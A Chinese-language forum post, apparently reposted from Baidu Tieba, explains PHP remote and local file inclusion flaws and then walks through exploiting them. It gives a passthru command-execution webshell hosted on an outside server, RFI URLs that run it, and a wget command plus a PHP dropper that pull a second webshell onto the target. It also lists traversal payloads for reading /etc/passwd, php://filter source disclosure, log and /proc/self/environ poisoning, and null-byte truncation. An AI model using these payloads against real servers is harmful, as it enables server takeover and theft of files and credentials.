http://tieba.baidu.com/p/2310282657
什么是”遠程文件包含漏洞”？服務器通過php的特性（函數）去包含任意文件時，由于要包含的這個文件來源過濾不嚴，從而可以去包含一個惡意文件，而我們可以構造這個惡意文件來達到邪惡的目的。
一、什么才是”遠程文件包含漏洞”？
回答是：服務器通過php的特性（函數）去包含任意文件時，由于要包含的這個文件來源過濾不嚴，從而可以去包含一個惡意文件，而我們可以構造這個惡意文件來達到邪惡的目的。
涉及到的危險函數：include(),require()和include_once(),require_once()
Include:包含并運行指定文件，當包含外部文件發生錯誤時，系統給出警告，但整個php文件繼續執行。
Require:跟include唯一不同的是，當產生錯誤時候，include下面繼續運行而require停止運行了。
Include_once:這個函數跟include函數作用幾乎相同，只是他在導入函數之前先檢測下該文件是否被導入。如果已經執行一遍那么就不重復執行了。
Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重復了。
php.ini配置文件：allow_url_fopen=off 即不可以包含遠程文件。Php4存在遠程&本地，php5僅存在本地包含。
二、為什么要包含文件？
程序員寫程序的時候，不喜歡干同樣的事情，也不喜歡把同樣的代碼（比如一些公用的函數）寫幾次，于是就把需要公用的代碼寫在一個單獨的文件里面，比 如 share.php，而后在其它文件進行包含調用。在php里，我們就是使用上面列舉的那幾個函數來達到這個目的的，它的工作流程：如果你想 在 main.php里包含share.php,我將這樣寫include(“share.php”)就達到目的，然后就可以使用share.php中的 函數了，像這個寫死需要包含的文件名稱的自然沒有什么問題，也不會出現漏洞，那么問題到底是出在哪里呢？
有的時候可能不能確定需要包含哪個文件，比如先來看下面這個文件index.php的代碼：
if ($_GET[page]) {
include $_GET[page];
} else {
include ”home.php”;
}
很正常的一段PHP代碼，它是怎么運作的呢？
上面這段代碼的使用格式可能是這樣的：
http://hi.baidu.com/m4r10/php/index.php?page=main.php或者
http://hi.baidu.com/m4r10/php/index.php?page=downloads.php
結合上面代碼，簡單說下怎么運作的：
1.提交上面這個URL，在index.php中就取得這個page的值（$_GET[page]）。
2.判斷$_GET[page]是不是空，若不空（這里是main.php）就用include來包含這個文件。
3.若$_GET[page]空的話就執行else，來 include ”home.php” 這個文件。
2.遠程文件包含可運行的PHP木馬
如果目標主機的”allow_url_fopen”是激活的（默認是激活的，沒幾個人會修改），我們就可以有更大的利用空間，我們可以指定其它 URL上的一個包含PHP代碼的webshell來直接運行，比如，我先寫一段運行命令的PHP代碼，如下保存為cmd.txt（后綴不重要，只要內容為 PHP格式就可以了）。
if (get_magic_quotes_gpc()){
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字符（可去掉字符串中的反斜線字符）
ini_set(“max_execution_time”,0); //設定針對這個文件的執行時間，0為不限制.
echo ”M4R10開始行”; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運行cmd指定的命令
echo ”M4R10結束行”; //打印的返回的結束行提示信息
?>
以上這個文件的作用就是接受cmd指定的命令，并調用passthru函數執行，把內容返回在M4R10開始行與M4R10結束行之間。把這個文件 保存到我們主機的服務器上（可以是不支持PHP的主機），只要能通過HTTP訪問到就可以了，例如地址如下：http://www.xxx.cn/cmd.txt,然后我們就可以在那個漏洞主機上構造如下URL來利用了：
http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls
其中cmd后面的就是你需要執行的命令，其它常 用的命令（以*UNIX為例）如下：
ll 列目錄、文件（相當于Windows下dir)
pwd 查看當前絕對路徑
id whoami 查看當前用戶
wget 下載指定URL的文件
等等其它的，你主機去BAIDU找吧，就不列舉了。
3.包含一個創建文件的PHP文件（常用）
也許有的人認為還是得到目標機上的一個真實的Webshell比較放心，萬一哪天人家發現這兒個包含漏洞修補了，我們就不能再遠程包含得到上面的那 個” 偽”Webshell了，不是么？可以理解這個心態，我們繼續。得到一個真實的Webshell，我們也說兩種常見的方法：
1)使用wget之類的命令來下載一個Webshell
這個比較簡單，也很常用，在上面我們得到的那個偽webshell中，我們可以執行命令，那么我們也可以調用系統中的一個很厲害的角色，wget， 這個命令的強大你可以google下，參數一大堆，絕對搞暈你，呵呵，我們不需要那么復雜，我們就使用一個 -O（–output- document=FILE，把文檔寫到FILE文件中） 就可以了，呵呵。
前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方，比 如：http://www.xxx.cn/m4r10.txt,這個文件里寫的就是Webshell的內容。然后我們在前面得到的偽 Webshell中 執行如下的URL：
http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt-O m4r10.php
如果當前目錄可寫，就能得到 一個叫做m4r10.php的Webshell了，如果當前目錄不可寫，還需要想其它的辦法。
2）使用文件來創建
前面的wget可能會遇到當前目錄不能寫的情況；或者目標主機禁用了（或者沒裝）這個命令，我們又需要變通一下了，我們可以結合前面的包含文件漏洞來包含一個創建文件（寫文件）的PHP腳本，內容如下：
$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打開指定路徑的文件流
$ff=fopen(“./upload/m4r10.php”,”a”); //尋找一個可以的目錄，創建一個文件
fwrite ($ff,$f); //把前面打開的文件流寫到創建的文件里
fclose($ff); //關閉保存文件
?>
還是寫入我們上面用wget下載的那個php文件，但是我們改進了方法，用PHP腳本來實現，可以使用上面的cmd.php?cmd=ll查找可以 寫的目錄，比如這里的upload，然后把文件創建在這個目錄下：./upload/m4r10.php。然后就得到我們的Webshell了。
4.本地文件包含（常用）
典型的漏洞代碼：
include($_GET['pages'].‘.php’);
?>
黑盒判斷方法：
單純的從URL判斷的話，URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞。
本地包含漏洞的利用（這里先忽略截斷問題，下面會將截斷的方法）
1、包含同服務器中上傳的jpg、txt、rar等文件，這個是最理想的情況了。
2、包含系統的各種日志，如apache日志，文件系統日志等 其中apache當記錄格式為combined，一般日志都會很大，基本無法包含成功。包含log是有自動化攻擊程序的。
其中鬼子的博客中有提到一個空格的問題。見：《邪惡的空格-PHP本地文件包含漏洞的新突破口》http://huaidan.org/archives/1144.html
解決空格問題其實把一句話base64加密后再寫入就可以執行了。
3、包含 /proc/self/environ . 這個環境變量有訪問web的session信息和包含user-agent的參數。user-agent在客戶端是可以修改的。參考：《Shell via LFI – proc/self/environ method》
http://hi.baidu.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html
4、包含由php程序本身生成的文件，緩存、模版等，開源的程序成功率大。
5、利用本地包含讀取PHP敏感性文件，需要PHP5以上版本。如看到“config”的源碼如下：
index.php?pages=php://filter/read=convert.base64-encode/resource=config
特別的情況用到readfile() 函數不是包含執行，可以直接讀源碼。
6、利用phpinfo頁面getshell。一般大組織的web群存在phpinfo的機會挺大的。
poc和介紹參考：
《利用phpinfo信息LFI臨時文件》
http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html
7、利用包含出錯，或者包含有未初始化變量的PHP文件，只要變量未初始化就可能再次攻擊 具體見：
《include()本地文件包含漏洞隨想》
http://www.2cto.com/Article/200809/29748.html
8、結合跨站使用
index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode（要考慮域信任問題）
9、包含臨時文件文件。這個方法很麻煩的。參考：
《POST method uploads》
http://www.php.net/manual/en/features.file-upload.post-method.php
解決臨時文件刪除方法：慢連接 （注：前提是 file_uploads = On，5.3.1中增加了max_file_uploadsphp.ini file_uploads = On，5.3.1中增加了max_file_uploads，默認最大一次上傳20個）
windows格式：win下最長4個隨機字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′）如： c:/windows/temp/php3e.tmp
linux格式：6個隨機字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′） 如：/tmp/phpUs7MxA
慢連接的兩種上傳代碼參考：
《PHP安全之LFI漏洞GetShell方法大閱兵》
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
10、當前實在找不到寫權限目錄時候，注入到log中再尋找寫權限目錄。如注入到log.
Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
具體參考《PHP本地文件包含(LFI)漏洞利用》
http://kingbase.org/blog/php_local_file_inclusion_exploit
11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html其中文中提到的allow_url_fopen和allow_url_include只是保護了against URL handles標記為URL.這影響了http(s) and ftp(s)但是并沒有影響php或date 這些url形式。
12、LFI判斷目錄是否存在和列目錄，如
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**這個方法在TTYshell上是可以完全是可以判斷的，但是在URL上有時候不可行。即使不存在dossierexistant也可以回顯passwd內容。
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目錄
**存在邏輯判斷的時候，如不存在該目錄就會返回header.php+File not found+footer.php 存在就會返回header.php+footer.php。這種邏輯很符合程序員的習慣。曾經用找到了一個目錄很深的日志獲得shell。
13、包含SESSION文件，php保存格式 sess_SESSIONID 默認位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 （擁有者為root，默認情況要root才能訪問）
具體參考：
Local File Inclusion – 《Tricks of the Trade》
http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
還有其他提到包含/var/log/auth.log的，但是這個文件默認情況也是644.
15、包含maillog 通常位置/var/log/maillog 這個方法也很雞肋，具體參考：
《local file inclusion tricks 》
鏈接找不到了
16、包含固定的文件，非常雞肋，為了完整性也提下。如：可用中間人攻擊。
突破限制截斷后面的字符串技巧
利用本地包含時常常需要用%00來截斷后面的字符串，但在GPC為ON時%00是會被轉義的，那么還有其他方法么？
用一定數量的/突破操作系統對文件名的長度限制來截斷后面的字符串（推測相對路徑可用）
